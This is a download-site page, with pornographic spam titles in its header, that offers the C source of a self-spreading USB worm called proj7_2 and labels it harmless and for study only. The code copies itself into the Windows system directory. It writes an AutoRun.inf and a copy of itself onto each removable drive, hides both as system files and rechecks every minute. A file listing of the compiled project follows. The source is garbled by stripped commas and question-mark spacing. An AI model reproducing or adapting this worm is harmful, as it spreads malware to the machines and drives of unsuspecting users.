91av视频/亚洲h视频/操亚洲美女/外国一级黄色毛片 - 国产三级三级三级三级

資源簡介

C語言編寫的簡單U盤病毒,這里只是簡單的而已,沒有什么危害,只供學習

資源截圖

代碼片段和文件信息

//?proj7_2.cpp?:?Defines?the?entry?point?for?the?application.
//

#include?“stdafx.h“
bool?SaveToFile(char*?Pathchar*?Data){
HANDLE?hFile;
hFile=CreateFile(Path?GENERIC_WRITE?0?NULL?CREATE_ALWAYS?FILE_ATTRIBUTE_NORMALNULL);
if(hFile==INVALID_HANDLE_VALUE){/*continue;?//出錯時處理*/}
DWORD?dwWrite;
WriteFile(hFileDatastrlen(Data)&dwWriteNULL);
CloseHandle(hFile);
return?true;
}
BOOL?InfectU()
{
while(true)
{
UINT?revtype;
char?name[256]=“H:\\“?;
char?szName[256]={0};
char?toPath[256]={0};
char?infPath[256]={0};
char?openU[80]={0};
//遍歷所有盤符
for(BYTE?i=0x42;i<0x5B;i=i+0x01)
{
name[0]=i;
//得到盤符類型
revtype=GetDriveType(name);
//判斷是否是可移動存儲設備
if?(revtype==DRIVE_REMOVABLE)
{???
//得到自身文件路徑
GetModuleFileName(NULLszName256);
//比較是否和U盤的盤符相同
//如果相同說明在U盤上執(zhí)行復制到系統(tǒng)中去
if(strncmp(nameszName1)==0)
{
//得到系統(tǒng)目錄
GetSystemDirectory(toPath256);
strcat(toPath“\\proj7_2.exe“);
//把自身文件復制到系統(tǒng)目錄
if(CopyFile(szNametoPathTRUE))
{
//運行程序
WinExec(toPath0);
}
strcpy(openU“explorer?“);
strcat(openUname);
//打開U盤
WinExec(openU1);
return?0;
}//如果不是則在系統(tǒng)中執(zhí)行感染U盤
else
{
strcpy(toPathname);
strcat(toPath“\\proj7_2.exe“);
strcpy(infPathname);
strcat(infPath“\\AutoRun.inf“);
//還原U盤上的文件屬性
SetFileAttributes(toPathFILE_ATTRIBUTE_NORMAL);
SetFileAttributes(infPathFILE_ATTRIBUTE_NORMAL);
//刪除原有文件
????????????????????DeleteFile(toPath);
DeleteFile(infPath);
//寫AutoRun.inf到U盤
char*?Data;
Data?=?“[AutoRun]\r\nopen=proj7_2.exe\r\nshell\\open=打開(&O)\r\nshell\\explore=我的資源管理器(&X)\r\nshell\\explore\\Command=proj7_2.exe“;
SaveToFile(infPathData);
//拷貝自身文件到U盤
CopyFile(szNametoPathFALSE);
//把這兩個文件設置成系統(tǒng),隱藏屬性
SetFileAttributes(toPath?
FILE_ATTRIBUTE_HIDDEN?|?FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(infPath?
FILE_ATTRIBUTE_HIDDEN?|?FILE_ATTRIBUTE_SYSTEM);
}
}

}
//休眠60秒,60檢測一次
Sleep(60000);
}
}
int?APIENTRY?WinMain(HINSTANCE?hInstance
?????????????????????HINSTANCE?hPrevInstance
?????????????????????LPSTR?????lpCmdLine
?????????????????????int???????nCmdShow)
{
char?toPath[100];
GetSystemDirectory(toPath256);
InfectU();
return?0;
}

?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----

?????文件?????172113??2012-04-15?17:08??proj7_2\Debug\proj7_2.exe

?????文件?????184820??2012-04-15?17:08??proj7_2\Debug\proj7_2.ilk

?????文件???????6497??2012-04-15?17:08??proj7_2\Debug\proj7_2.obj

?????文件????1918904??2012-04-15?12:21??proj7_2\Debug\proj7_2.pch

?????文件?????443392??2012-04-15?17:08??proj7_2\Debug\proj7_2.pdb

?????文件??????55058??2012-04-15?12:21??proj7_2\Debug\StdAfx.obj

?????文件??????82944??2012-04-15?17:24??proj7_2\Debug\vc60.idb

?????文件?????176128??2012-04-15?17:08??proj7_2\Debug\vc60.pdb

?????文件???????2571??2012-04-15?17:26??proj7_2\proj7_2.cpp

?????文件???????4182??2010-09-23?18:03??proj7_2\proj7_2.dsp

?????文件????????539??2010-09-23?18:03??proj7_2\proj7_2.dsw

?????文件??????58368??2012-04-15?17:26??proj7_2\proj7_2.ncb

?????文件??????49664??2012-04-15?17:26??proj7_2\proj7_2.opt

?????文件???????1188??2012-04-15?17:08??proj7_2\proj7_2.plg

?????文件???????1215??2010-09-23?18:03??proj7_2\ReadMe.txt

?????文件????????294??2010-09-23?18:03??proj7_2\StdAfx.cpp

?????文件????????773??2010-09-23?18:03??proj7_2\StdAfx.h

?????目錄??????????0??2012-04-23?21:49??proj7_2\Debug

?????目錄??????????0??2012-04-23?21:49??proj7_2

-----------?---------??----------?-----??----

??????????????3158650????????????????????19


評論

共有 條評論